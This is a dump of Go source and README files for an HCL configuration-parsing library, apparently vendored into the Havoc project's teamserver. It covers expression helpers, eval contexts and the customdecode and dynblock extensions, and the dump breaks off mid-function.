    "content": "package hcl\n\nimport (\n\t\"github.com/agext/levenshtein\"\n)\n\n// nameSuggestion tries to find a name from the given slice of suggested names\n// that is close to the given name and returns it if found. If no suggestion\n// is close enough, returns the empty string.\n//\n// The suggestions are tried in order, so earlier suggestions take precedence\n// if the given string is similar to two or more suggestions.\n//\n// This function is intended to be used with a relatively-small number of\n// suggestions. It's not optimized for hundreds or thousands of them.\nfunc nameSuggestion(given string, suggestions []string) string {\n\tfor _, suggestion := range suggestions {\n\t\tdist := levenshtein.Distance(given, suggestion, nil)\n\t\tif dist < 3 { // threshold determined experimentally\n\t\t\treturn suggestion\n\t\t}\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/doc.go",
    "content": "// Package hcl contains the main modelling types and general utility functions\n// for HCL.\n//\n// For a simple entry point into HCL, see the package in the subdirectory\n// \"hclsimple\", which has an opinionated function Decode that can decode HCL\n// configurations in either native HCL syntax or JSON syntax into a Go struct\n// type:\n//\n//     package main\n//\n//     import (\n//     \t\"log\"\n//     \t\"Havoc/pkg/profile/yaotl/hclsimple\"\n//     )\n//\n//     type Config struct {\n//     \tLogLevel string `hcl:\"log_level\"`\n//     }\n//\n//     func main() {\n//     \tvar config Config\n//     \terr := hclsimple.DecodeFile(\"config.hcl\", nil, &config)\n//     \tif err != nil {\n//     \t\tlog.Fatalf(\"Failed to load configuration: %s\", err)\n//     \t}\n//     \tlog.Printf(\"Configuration is %#v\", config)\n//     }\n//\n// If your application needs more control over the evaluation of the\n// configuration, you can use the functions in the subdirectories hclparse,\n// gohcl, hcldec, etc. Splitting the handling of configuration into multiple\n// phases allows for advanced patterns such as allowing expressions in one\n// part of the configuration to refer to data defined in another part.\npackage hcl\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/eval_context.go",
    "content": "package hcl\n\nimport (\n\t\"github.com/zclconf/go-cty/cty\"\n\t\"github.com/zclconf/go-cty/cty/function\"\n)\n\n// An EvalContext provides the variables and functions that should be used\n// to evaluate an expression.\ntype EvalContext struct {\n\tVariables map[string]cty.Value\n\tFunctions map[string]function.Function\n\tparent    *EvalContext\n}\n\n// NewChild returns a new EvalContext that is a child of the receiver.\nfunc (ctx *EvalContext) NewChild() *EvalContext {\n\treturn &EvalContext{parent: ctx}\n}\n\n// Parent returns the parent of the receiver, or nil if the receiver has\n// no parent.\nfunc (ctx *EvalContext) Parent() *EvalContext {\n\treturn ctx.parent\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/expr_call.go",
    "content": "package hcl\n\n// ExprCall tests if the given expression is a function call and,\n// if so, extracts the function name and the expressions that represent\n// the arguments. If the given expression is not statically a function call,\n// error diagnostics are returned.\n//\n// A particular Expression implementation can support this function by\n// offering a method called ExprCall that takes no arguments and returns\n// *StaticCall. This method should return nil if a static call cannot\n// be extracted.  Alternatively, an implementation can support\n// UnwrapExpression to delegate handling of this function to a wrapped\n// Expression object.\nfunc ExprCall(expr Expression) (*StaticCall, Diagnostics) {\n\ttype exprCall interface {\n\t\tExprCall() *StaticCall\n\t}\n\n\tphysExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool {\n\t\t_, supported := expr.(exprCall)\n\t\treturn supported\n\t})\n\n\tif exC, supported := physExpr.(exprCall); supported {\n\t\tif call := exC.ExprCall(); call != nil {\n\t\t\treturn call, nil\n\t\t}\n\t}\n\treturn nil, Diagnostics{\n\t\t&Diagnostic{\n\t\t\tSeverity: DiagError,\n\t\t\tSummary:  \"Invalid expression\",\n\t\t\tDetail:   \"A static function call is required.\",\n\t\t\tSubject:  expr.StartRange().Ptr(),\n\t\t},\n\t}\n}\n\n// StaticCall represents a function call that was extracted statically from\n// an expression using ExprCall.\ntype StaticCall struct {\n\tName      string\n\tNameRange Range\n\tArguments []Expression\n\tArgsRange Range\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/expr_list.go",
    "content": "package hcl\n\n// ExprList tests if the given expression is a static list construct and,\n// if so, extracts the expressions that represent the list elements.\n// If the given expression is not a static list, error diagnostics are\n// returned.\n//\n// A particular Expression implementation can support this function by\n// offering a method called ExprList that takes no arguments and returns\n// []Expression. This method should return nil if a static list cannot\n// be extracted.  Alternatively, an implementation can support\n// UnwrapExpression to delegate handling of this function to a wrapped\n// Expression object.\nfunc ExprList(expr Expression) ([]Expression, Diagnostics) {\n\ttype exprList interface {\n\t\tExprList() []Expression\n\t}\n\n\tphysExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool {\n\t\t_, supported := expr.(exprList)\n\t\treturn supported\n\t})\n\n\tif exL, supported := physExpr.(exprList); supported {\n\t\tif list := exL.ExprList(); list != nil {\n\t\t\treturn list, nil\n\t\t}\n\t}\n\treturn nil, Diagnostics{\n\t\t&Diagnostic{\n\t\t\tSeverity: DiagError,\n\t\t\tSummary:  \"Invalid expression\",\n\t\t\tDetail:   \"A static list expression is required.\",\n\t\t\tSubject:  expr.StartRange().Ptr(),\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/expr_map.go",
    "content": "package hcl\n\n// ExprMap tests if the given expression is a static map construct and,\n// if so, extracts the expressions that represent the map elements.\n// If the given expression is not a static map, error diagnostics are\n// returned.\n//\n// A particular Expression implementation can support this function by\n// offering a method called ExprMap that takes no arguments and returns\n// []KeyValuePair. This method should return nil if a static map cannot\n// be extracted.  Alternatively, an implementation can support\n// UnwrapExpression to delegate handling of this function to a wrapped\n// Expression object.\nfunc ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) {\n\ttype exprMap interface {\n\t\tExprMap() []KeyValuePair\n\t}\n\n\tphysExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool {\n\t\t_, supported := expr.(exprMap)\n\t\treturn supported\n\t})\n\n\tif exM, supported := physExpr.(exprMap); supported {\n\t\tif pairs := exM.ExprMap(); pairs != nil {\n\t\t\treturn pairs, nil\n\t\t}\n\t}\n\treturn nil, Diagnostics{\n\t\t&Diagnostic{\n\t\t\tSeverity: DiagError,\n\t\t\tSummary:  \"Invalid expression\",\n\t\t\tDetail:   \"A static map expression is required.\",\n\t\t\tSubject:  expr.StartRange().Ptr(),\n\t\t},\n\t}\n}\n\n// KeyValuePair represents a pair of expressions that serve as a single item\n// within a map or object definition construct.\ntype KeyValuePair struct {\n\tKey   Expression\n\tValue Expression\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/expr_unwrap.go",
    "content": "package hcl\n\ntype unwrapExpression interface {\n\tUnwrapExpression() Expression\n}\n\n// UnwrapExpression removes any \"wrapper\" expressions from the given expression,\n// to recover the representation of the physical expression given in source\n// code.\n//\n// Sometimes wrapping expressions are used to modify expression behavior, e.g.\n// in extensions that need to make some local variables available to certain\n// sub-trees of the configuration. This can make it difficult to reliably\n// type-assert on the physical AST types used by the underlying syntax.\n//\n// Unwrapping an expression may modify its behavior by stripping away any\n// additional constraints or capabilities being applied to the Value and\n// Variables methods, so this function should generally only be used prior\n// to operations that concern themselves with the static syntax of the input\n// configuration, and not with the effective value of the expression.\n//\n// Wrapper expression types must support unwrapping by implementing a method\n// called UnwrapExpression that takes no arguments and returns the embedded\n// Expression. Implementations of this method should peel away only one level\n// of wrapping, if multiple are present. This method may return nil to\n// indicate _dynamically_ that no wrapped expression is available, for\n// expression types that might only behave as wrappers in certain cases.\nfunc UnwrapExpression(expr Expression) Expression {\n\tfor {\n\t\tunwrap, wrapped := expr.(unwrapExpression)\n\t\tif !wrapped {\n\t\t\treturn expr\n\t\t}\n\t\tinnerExpr := unwrap.UnwrapExpression()\n\t\tif innerExpr == nil {\n\t\t\treturn expr\n\t\t}\n\t\texpr = innerExpr\n\t}\n}\n\n// UnwrapExpressionUntil is similar to UnwrapExpression except it gives the\n// caller an opportunity to test each level of unwrapping to see each a\n// particular expression is accepted.\n//\n// This could be used, for example, to unwrap until a particular other\n// interface is satisfied, regardless of wrap wrapping level it is satisfied\n// at.\n//\n// The given callback function must return false to continue wrapping, or\n// true to accept and return the proposed expression given. If the callback\n// function rejects even the final, physical expression then the result of\n// this function is nil.\nfunc UnwrapExpressionUntil(expr Expression, until func(Expression) bool) Expression {\n\tfor {\n\t\tif until(expr) {\n\t\t\treturn expr\n\t\t}\n\t\tunwrap, wrapped := expr.(unwrapExpression)\n\t\tif !wrapped {\n\t\t\treturn nil\n\t\t}\n\t\texpr = unwrap.UnwrapExpression()\n\t\tif expr == nil {\n\t\t\treturn nil\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/README.md",
    "content": "# HCL Extensions\n\nThis directory contains some packages implementing some extensions to HCL\nthat add features by building on the core API in the main `hcl` package.\n\nThese serve as optional language extensions for use-cases that are limited only\nto specific callers. Generally these make the language more expressive at\nthe expense of increased dynamic behavior that may be undesirable for\napplications that need to impose more rigid structure on configuration.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/customdecode/README.md",
    "content": "# HCL Custom Static Decoding Extension\n\nThis HCL extension provides a mechanism for defining arguments in an HCL-based\nlanguage whose values are derived using custom decoding rules against the\nHCL expression syntax, overriding the usual behavior of normal expression\nevaluation.\n\n\"Arguments\", for the purpose of this extension, currently includes the\nfollowing two contexts:\n\n* For applications using `hcldec` for dynamic decoding, a `hcldec.AttrSpec`\n  or `hcldec.BlockAttrsSpec` can be given a special type constraint that\n  opts in to custom decoding behavior for the attribute(s) that are selected\n  by that specification.\n\n* When working with the HCL native expression syntax, a function given in\n  the `hcl.EvalContext` during evaluation can have parameters with special\n  type constraints that opt in to custom decoding behavior for the argument\n  expression associated with that parameter in any call.\n\nThe above use-cases are rather abstract, so we'll consider a motivating\nreal-world example: sometimes we (language designers) need to allow users\nto specify type constraints directly in the language itself, such as in\n[Terraform's Input Variables](https://www.terraform.io/docs/configuration/variables.html).\nTerraform's `variable` blocks include an argument called `type` which takes\na type constraint given using HCL expression building-blocks as defined by\n[the HCL `typeexpr` extension](../typeexpr/README.md).\n\nA \"type constraint expression\" of that sort is not an expression intended to\nbe evaluated in the usual way. Instead, the physical expression is\ndeconstructed using [the static analysis operations](../../spec.md#static-analysis)\nto produce a `cty.Type` as the result, rather than a `cty.Value`.\n\nThe purpose of this Custom Static Decoding Extension, then, is to provide a\nbridge to allow that sort of custom decoding to be used via mechanisms that\nnormally deal in `cty.Value`, such as `hcldec` and native syntax function\ncalls as listed above.\n\n(Note: [`gohcl`](https://pkg.go.dev/Havoc/pkg/profile/yaotl/gohcl) has\nits own mechanism to support this use case, exploiting the fact that it is\nworking directly with \"normal\" Go types. Decoding into a struct field of\ntype `hcl.Expression` obtains the expression directly without evaluating it\nfirst. The Custom Static Decoding Extension is not necessary for that `gohcl`\ntechnique. You can also implement custom decoding by working directly with\nthe lowest-level HCL API, which separates extraction of and evaluation of\nexpressions into two steps.)\n\n## Custom Decoding Types\n\nThis extension relies on a convention implemented in terms of\n[_Capsule Types_ in the underlying `cty` type system](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types). `cty` allows a capsule type to carry arbitrary\nextension metadata values as an aid to creating higher-level abstractions like\nthis extension.\n\nA custom argument decoding mode, then, is implemented by creating a new `cty`\ncapsule type that implements the `ExtensionData` custom operation to return\na decoding function when requested. For example:\n\n```go\nvar keywordType cty.Type\nkeywordType = cty.CapsuleWithOps(\"keyword\", reflect.TypeOf(\"\"), &cty.CapsuleOps{\n    ExtensionData: func(key interface{}) interface{} {\n        switch key {\n        case customdecode.CustomExpressionDecoder:\n            return customdecode.CustomExpressionDecoderFunc(\n                func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n                    var diags hcl.Diagnostics\n                    kw := hcl.ExprAsKeyword(expr)\n                    if kw == \"\" {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity: hcl.DiagError,\n                            Summary:  \"Invalid keyword\",\n                            Detail:   \"A keyword is required\",\n                            Subject:  expr.Range().Ptr(),\n                        })\n                        return cty.UnkownVal(keywordType), diags\n                    }\n                    return cty.CapsuleVal(keywordType, &kw)\n                },\n            )\n        default:\n            return nil\n        }\n    },\n})\n```\n\nThe boilerplate here is a bit fussy, but the important part for our purposes\nis the `case customdecode.CustomExpressionDecoder:` clause, which uses\na custom extension key type defined in this package to recognize when a\ncomponent implementing this extension is checking to see if a target type\nhas a custom decode implementation.\n\nIn the above case we've defined a type that decodes expressions as static\nkeywords, so a keyword like `foo` would decode as an encapsulated `\"foo\"`\nstring, while any other sort of expression like `\"baz\"` or `1 + 1` would\nreturn an error.\n\nWe could then use `keywordType` as a type constraint either for a function\nparameter or a `hcldec` attribute specification, which would require the\nargument for that function parameter or the expression for the matching\nattributes to be a static keyword, rather than an arbitrary expression.\nFor example, in a `hcldec.AttrSpec`:\n\n```go\nkeywordSpec := &hcldec.AttrSpec{\n    Name: \"keyword\",\n    Type: keywordType,\n}\n```\n\nThe above would accept input like the following and would set its result to\na `cty.Value` of `keywordType`, after decoding:\n\n```hcl\nkeyword = foo\n```\n\n## The Expression and Expression Closure `cty` types\n\nBuilding on the above, this package also includes two capsule types that use\nthe above mechanism to allow calling applications to capture expressions\ndirectly and thus defer analysis to a later step, after initial decoding.\n\nThe `customdecode.ExpressionType` type encapsulates an `hcl.Expression` alone,\nfor situations like our type constraint expression example above where it's\nthe static structure of the expression we want to inspect, and thus any\nvariables and functions defined in the evaluation context are irrelevant.\n\nThe `customdecode.ExpressionClosureType` type encapsulates a\n`*customdecode.ExpressionClosure` value, which binds the given expression to\nthe `hcl.EvalContext` it was asked to evaluate against and thus allows the\nreceiver of that result to later perform normal evaluation of the expression\nwith all the same variables and functions that would've been available to it\nnaturally.\n\nBoth of these types can be used as type constraints either for `hcldec`\nattribute specifications or for function arguments. Here's an example of\n`ExpressionClosureType` to implement a function that can evaluate\nan expression with some additional variables defined locally, which we'll\ncall the `with(...)` function:\n\n```go\nvar WithFunc = function.New(&function.Spec{\n    Params: []function.Parameter{\n        {\n            Name: \"variables\",\n            Type: cty.DynamicPseudoType,\n        },\n        {\n            Name: \"expression\",\n            Type: customdecode.ExpressionClosureType,\n        },\n    },\n    Type: func(args []cty.Value) (cty.Type, error) {\n        varsVal := args[0]\n        exprVal := args[1]\n        if !varsVal.Type().IsObjectType() {\n            return cty.NilVal, function.NewArgErrorf(0, \"must be an object defining local variables\")\n        }\n        if !varsVal.IsKnown() {\n            // We can't predict our result type until the variables object\n            // is known.\n            return cty.DynamicPseudoType, nil\n        }\n        vars := varsVal.AsValueMap()\n        closure := customdecode.ExpressionClosureFromVal(exprVal)\n        result, err := evalWithLocals(vars, closure)\n        if err != nil {\n            return cty.NilVal, err\n        }\n        return result.Type(), nil\n    },\n    Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) {\n        varsVal := args[0]\n        exprVal := args[1]\n        vars := varsVal.AsValueMap()\n        closure := customdecode.ExpressionClosureFromVal(exprVal)\n        return evalWithLocals(vars, closure)\n    },\n})\n\nfunc evalWithLocals(locals map[string]cty.Value, closure *customdecode.ExpressionClosure) (cty.Value, error) {\n    childCtx := closure.EvalContext.NewChild()\n    childCtx.Variables = locals\n    val, diags := closure.Expression.Value(childCtx)\n    if diags.HasErrors() {\n        return cty.NilVal, function.NewArgErrorf(1, \"couldn't evaluate expression: %s\", diags.Error())\n    }\n    return val, nil\n}\n```\n\nIf the above function were placed into an `hcl.EvalContext` as `with`, it\ncould be used in a native syntax call to that function as follows:\n\n```hcl\n  foo = with({name = \"Cory\"}, \"${greeting}, ${name}!\")\n```\n\nThe above assumes a variable in the main context called `greeting`, to which\nthe `with` function adds `name` before evaluating the expression given in\nits second argument. This makes that second argument context-sensitive -- it\nwould behave differently if the user wrote the same thing somewhere else -- so\nthis capability should be used with care to make sure it doesn't cause confusion\nfor the end-users of your language.\n\nThere are some other examples of this capability to evaluate expressions in\nunusual ways in the `tryfunc` directory that is a sibling of this one.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/customdecode/customdecode.go",
    "content": "// Package customdecode contains a HCL extension that allows, in certain\n// contexts, expression evaluation to be overridden by custom static analysis.\n//\n// This mechanism is only supported in certain specific contexts where\n// expressions are decoded with a specific target type in mind. For more\n// information, see the documentation on CustomExpressionDecoder.\npackage customdecode\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype customDecoderImpl int\n\n// CustomExpressionDecoder is a value intended to be used as a cty capsule\n// type ExtensionData key for capsule types whose values are to be obtained\n// by static analysis of an expression rather than normal evaluation of that\n// expression.\n//\n// When a cooperating capsule type is asked for ExtensionData with this key,\n// it must return a non-nil CustomExpressionDecoderFunc value.\n//\n// This mechanism is not universally supported; instead, it's handled in a few\n// specific places where expressions are evaluated with the intent of producing\n// a cty.Value of a type given by the calling application.\n//\n// Specifically, this currently works for type constraints given in\n// hcldec.AttrSpec and hcldec.BlockAttrsSpec, and it works for arguments to\n// function calls in the HCL native syntax. HCL extensions implemented outside\n// of the main HCL module may also implement this; consult their own\n// documentation for details.\nconst CustomExpressionDecoder = customDecoderImpl(1)\n\n// CustomExpressionDecoderFunc is the type of value that must be returned by\n// a capsule type handling the key CustomExpressionDecoder in its ExtensionData\n// implementation.\n//\n// If no error diagnostics are returned, the result value MUST be of the\n// capsule type that the decoder function was derived from. If the returned\n// error diagnostics prevent producing a value at all, return cty.NilVal.\ntype CustomExpressionDecoderFunc func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics)\n\n// CustomExpressionDecoderForType takes any cty type and returns its\n// custom expression decoder implementation if it has one. If it is not a\n// capsule type or it does not implement a custom expression decoder, this\n// function returns nil.\nfunc CustomExpressionDecoderForType(ty cty.Type) CustomExpressionDecoderFunc {\n    if !ty.IsCapsuleType() {\n        return nil\n    }\n    if fn, ok := ty.CapsuleExtensionData(CustomExpressionDecoder).(CustomExpressionDecoderFunc); ok {\n        return fn\n    }\n    return nil\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/customdecode/expression_type.go",
    "content": "package customdecode\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// ExpressionType is a cty capsule type that carries hcl.Expression values.\n//\n// This type implements custom decoding in the most general way possible: it\n// just captures whatever expression is given to it, with no further processing\n// whatsoever. It could therefore be useful in situations where an application\n// must defer processing of the expression content until a later step.\n//\n// ExpressionType only captures the expression, not the evaluation context it\n// was destined to be evaluated in. That means this type can be fine for\n// situations where the recipient of the value only intends to do static\n// analysis, but ExpressionClosureType is more appropriate in situations where\n// the recipient will eventually evaluate the given expression.\nvar ExpressionType cty.Type\n\n// ExpressionVal returns a new cty value of type ExpressionType, wrapping the\n// given expression.\nfunc ExpressionVal(expr hcl.Expression) cty.Value {\n    return cty.CapsuleVal(ExpressionType, &expr)\n}\n\n// ExpressionFromVal returns the expression encapsulated in the given value, or\n// panics if the value is not a known value of ExpressionType.\nfunc ExpressionFromVal(v cty.Value) hcl.Expression {\n    if !v.Type().Equals(ExpressionType) {\n        panic(\"value is not of ExpressionType\")\n    }\n    ptr := v.EncapsulatedValue().(*hcl.Expression)\n    return *ptr\n}\n\n// ExpressionClosureType is a cty capsule type that carries hcl.Expression\n// values along with their original evaluation contexts.\n//\n// This is similar to ExpressionType except that during custom decoding it\n// also captures the hcl.EvalContext that was provided, allowing callers to\n// evaluate the expression later in the same context where it would originally\n// have been evaluated, or a context derived from that one.\nvar ExpressionClosureType cty.Type\n\n// ExpressionClosure is the type encapsulated in ExpressionClosureType\ntype ExpressionClosure struct {\n    Expression  hcl.Expression\n    EvalContext *hcl.EvalContext\n}\n\n// ExpressionClosureVal returns a new cty value of type ExpressionClosureType,\n// wrapping the given expression closure.\nfunc ExpressionClosureVal(closure *ExpressionClosure) cty.Value {\n    return cty.CapsuleVal(ExpressionClosureType, closure)\n}\n\n// Value evaluates the closure's expression using the closure's EvalContext,\n// returning the result.\nfunc (c *ExpressionClosure) Value() (cty.Value, hcl.Diagnostics) {\n    return c.Expression.Value(c.EvalContext)\n}\n\n// ExpressionClosureFromVal returns the expression closure encapsulated in the\n// given value, or panics if the value is not a known value of\n// ExpressionClosureType.\n//\n// The caller MUST NOT modify the returned closure or the EvalContext inside\n// it. To derive a new EvalContext, either create a child context or make\n// a copy.\nfunc ExpressionClosureFromVal(v cty.Value) *ExpressionClosure {\n    if !v.Type().Equals(ExpressionClosureType) {\n        panic(\"value is not of ExpressionClosureType\")\n    }\n    return v.EncapsulatedValue().(*ExpressionClosure)\n}\n\nfunc init() {\n    // Getting hold of a reflect.Type for hcl.Expression is a bit tricky because\n    // it's an interface type, but we can do it with some indirection.\n    goExpressionType := reflect.TypeOf((*hcl.Expression)(nil)).Elem()\n\n    ExpressionType = cty.CapsuleWithOps(\"expression\", goExpressionType, &cty.CapsuleOps{\n        ExtensionData: func(key interface{}) interface{} {\n            switch key {\n            case CustomExpressionDecoder:\n                return CustomExpressionDecoderFunc(\n                    func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n                        return ExpressionVal(expr), nil\n                    },\n                )\n            default:\n                return nil\n            }\n        },\n        TypeGoString: func(_ reflect.Type) string {\n            return \"customdecode.ExpressionType\"\n        },\n        GoString: func(raw interface{}) string {\n            exprPtr := raw.(*hcl.Expression)\n            return fmt.Sprintf(\"customdecode.ExpressionVal(%#v)\", *exprPtr)\n        },\n        RawEquals: func(a, b interface{}) bool {\n            aPtr := a.(*hcl.Expression)\n            bPtr := b.(*hcl.Expression)\n            return reflect.DeepEqual(*aPtr, *bPtr)\n        },\n    })\n    ExpressionClosureType = cty.CapsuleWithOps(\"expression closure\", reflect.TypeOf(ExpressionClosure{}), &cty.CapsuleOps{\n        ExtensionData: func(key interface{}) interface{} {\n            switch key {\n            case CustomExpressionDecoder:\n                return CustomExpressionDecoderFunc(\n                    func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n                        return ExpressionClosureVal(&ExpressionClosure{\n                            Expression:  expr,\n                            EvalContext: ctx,\n                        }), nil\n                    },\n                )\n            default:\n                return nil\n            }\n        },\n        TypeGoString: func(_ reflect.Type) string {\n            return \"customdecode.ExpressionClosureType\"\n        },\n        GoString: func(raw interface{}) string {\n            closure := raw.(*ExpressionClosure)\n            return fmt.Sprintf(\"customdecode.ExpressionClosureVal(%#v)\", closure)\n        },\n        RawEquals: func(a, b interface{}) bool {\n            closureA := a.(*ExpressionClosure)\n            closureB := b.(*ExpressionClosure)\n            // The expression itself compares by deep equality, but EvalContexts\n            // conventionally compare by pointer identity, so we'll comply\n            // with both conventions here by testing them separately.\n            return closureA.EvalContext == closureB.EvalContext &&\n                reflect.DeepEqual(closureA.Expression, closureB.Expression)\n        },\n    })\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/README.md",
    "content": "# HCL Dynamic Blocks Extension\n\nThis HCL extension implements a special block type named \"dynamic\" that can\nbe used to dynamically generate blocks of other types by iterating over\ncollection values.\n\nNormally the block structure in an HCL configuration file is rigid, even\nthough dynamic expressions can be used within attribute values. This is\nconvenient for most applications since it allows the overall structure of\nthe document to be decoded easily, but in some applications it is desirable\nto allow dynamic block generation within certain portions of the configuration.\n\nDynamic block generation is performed using the `dynamic` block type:\n\n```hcl\ntoplevel {\n  nested {\n    foo = \"static block 1\"\n  }\n\n  dynamic \"nested\" {\n    for_each = [\"a\", \"b\", \"c\"]\n    iterator = nested\n    content {\n      foo = \"dynamic block ${nested.value}\"\n    }\n  }\n\n  nested {\n    foo = \"static block 2\"\n  }\n}\n```\n\nThe above is interpreted as if it were written as follows:\n\n```hcl\ntoplevel {\n  nested {\n    foo = \"static block 1\"\n  }\n\n  nested {\n    foo = \"dynamic block a\"\n  }\n\n  nested {\n    foo = \"dynamic block b\"\n  }\n\n  nested {\n    foo = \"dynamic block c\"\n  }\n\n  nested {\n    foo = \"static block 2\"\n  }\n}\n```\n\nSince HCL block syntax is not normally exposed to the possibility of unknown\nvalues, this extension must make some compromises when asked to iterate over\nan unknown collection. If the length of the collection cannot be statically\nrecognized (because it is an unknown value of list, map, or set type) then\nthe `dynamic` construct will generate a _single_ dynamic block whose iterator\nkey and value are both unknown values of the dynamic pseudo-type, thus causing\nany attribute values derived from iteration to appear as unknown values. There\nis no explicit representation of the fact that the length of the collection may\neventually be different than one.\n\n## Usage\n\nPass a body to function `Expand` to obtain a new body that will, on access\nto its content, evaluate and expand any nested `dynamic` blocks.\nDynamic block processing is also automatically propagated into any nested\nblocks that are returned, allowing users to nest dynamic blocks inside\none another and to nest dynamic blocks inside other static blocks.\n\nHCL structural decoding does not normally have access to an `EvalContext`, so\nany variables and functions that should be available to the `for_each`\nand `labels` expressions must be passed in when calling `Expand`. Expressions\nwithin the `content` block are evaluated separately and so can be passed a\nseparate `EvalContext` if desired, during normal attribute expression\nevaluation.\n\n## Detecting Variables\n\nSome applications dynamically generate an `EvalContext` by analyzing which\nvariables are referenced by an expression before evaluating it.\n\nThis unfortunately requires some extra effort when this analysis is required\nfor the context passed to `Expand`: the HCL API requires a schema to be\nprovided in order to do any analysis of the blocks in a body, but the low-level\nschema model provides a description of only one level of nested blocks at\na time, and thus a new schema must be provided for each additional level of\nnesting.\n\nTo make this arduous process as convenient as possible, this package provides\na helper function `WalkForEachVariables`, which returns a `WalkVariablesNode`\ninstance that can be used to find variables directly in a given body and also\ndetermine which nested blocks require recursive calls. Using this mechanism\nrequires that the caller be able to look up a schema given a nested block type.\nFor _simple_ formats where a specific block type name always has the same schema\nregardless of context, a walk can be implemented as follows:\n\n```go\nfunc walkVariables(node dynblock.WalkVariablesNode, schema *hcl.BodySchema) []hcl.Traversal {\n\tvars, children := node.Visit(schema)\n\n\tfor _, child := range children {\n\t\tvar childSchema *hcl.BodySchema\n\t\tswitch child.BlockTypeName {\n\t\tcase \"a\":\n\t\t\tchildSchema = &hcl.BodySchema{\n\t\t\t\tBlocks: []hcl.BlockHeaderSchema{\n\t\t\t\t\t{\n\t\t\t\t\t\tType:       \"b\",\n\t\t\t\t\t\tLabelNames: []string{\"key\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\tcase \"b\":\n\t\t\tchildSchema = &hcl.BodySchema{\n\t\t\t\tAttributes: []hcl.AttributeSchema{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:     \"val\",\n\t\t\t\t\t\tRequired: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\tdefault:\n\t\t\t// Should never happen, because the above cases should be exhaustive\n\t\t\t// for the application's configuration format.\n\t\t\tpanic(fmt.Errorf(\"can't find schema for unknown block type %q\", child.BlockTypeName))\n\t\t}\n\n\t\tvars = append(vars, testWalkAndAccumVars(child.Node, childSchema)...)\n\t}\n}\n```\n\n### Detecting Variables with `hcldec` Specifications\n\nFor applications that use the higher-level `hcldec` package to decode nested\nconfiguration structures into `cty` values, the same specification can be used\nto automatically drive the recursive variable-detection walk described above.\n\nThe helper function `ForEachVariablesHCLDec` allows an entire recursive\nconfiguration structure to be analyzed in a single call given a `hcldec.Spec`\nthat describes the nested block structure. This means a `hcldec`-based\napplication can support dynamic blocks with only a little additional effort:\n\n```go\nfunc decodeBody(body hcl.Body, spec hcldec.Spec) (cty.Value, hcl.Diagnostics) {\n\t// Determine which variables are needed to expand dynamic blocks\n\tneededForDynamic := dynblock.ForEachVariablesHCLDec(body, spec)\n\n\t// Build a suitable EvalContext and expand dynamic blocks\n\tdynCtx := buildEvalContext(neededForDynamic)\n\tdynBody := dynblock.Expand(body, dynCtx)\n\n\t// Determine which variables are needed to fully decode the expanded body\n\t// This will analyze expressions that came both from static blocks in the\n\t// original body and from blocks that were dynamically added by Expand.\n\tneededForDecode := hcldec.Variables(dynBody, spec)\n\n\t// Build a suitable EvalContext and then fully decode the body as per the\n\t// hcldec specification.\n\tdecCtx := buildEvalContext(neededForDecode)\n\treturn hcldec.Decode(dynBody, spec, decCtx)\n}\n\nfunc buildEvalContext(needed []hcl.Traversal) *hcl.EvalContext {\n\t// (to be implemented by your application)\n}\n```\n\n# Performance\n\nThis extension is going quite harshly against the grain of the HCL API, and\nso it uses lots of wrapping objects and temporary data structures to get its\nwork done. HCL in general is not suitable for use in high-performance situations\nor situations sensitive to memory pressure, but that is _especially_ true for\nthis extension.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/expand_body.go",
    "content": "package dynblock\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// expandBody wraps another hcl.Body and expands any \"dynamic\" blocks found\n// inside whenever Content or PartialContent is called.\ntype expandBody struct {\n    original   hcl.Body\n    forEachCtx *hcl.EvalContext\n    iteration  *iteration // non-nil if we're nested inside another \"dynamic\" block\n\n    // These are used with PartialContent to produce a \"remaining items\"\n    // body to return. They are nil on all bodies fresh out of the transformer.\n    //\n    // Note that this is re-implemented here rather than delegating to the\n    // existing support required by the underlying body because we need to\n    // retain access to the entire original body on subsequent decode operations\n    // so we can retain any \"dynamic\" blocks for types we didn't take consume\n    // on the first pass.\n    hiddenAttrs  map[string]struct{}\n    hiddenBlocks map[string]hcl.BlockHeaderSchema\n}\n\nfunc (b *expandBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    extSchema := b.extendSchema(schema)\n    rawContent, diags := b.original.Content(extSchema)\n\n    blocks, blockDiags := b.expandBlocks(schema, rawContent.Blocks, false)\n    diags = append(diags, blockDiags...)\n    attrs := b.prepareAttributes(rawContent.Attributes)\n\n    content := 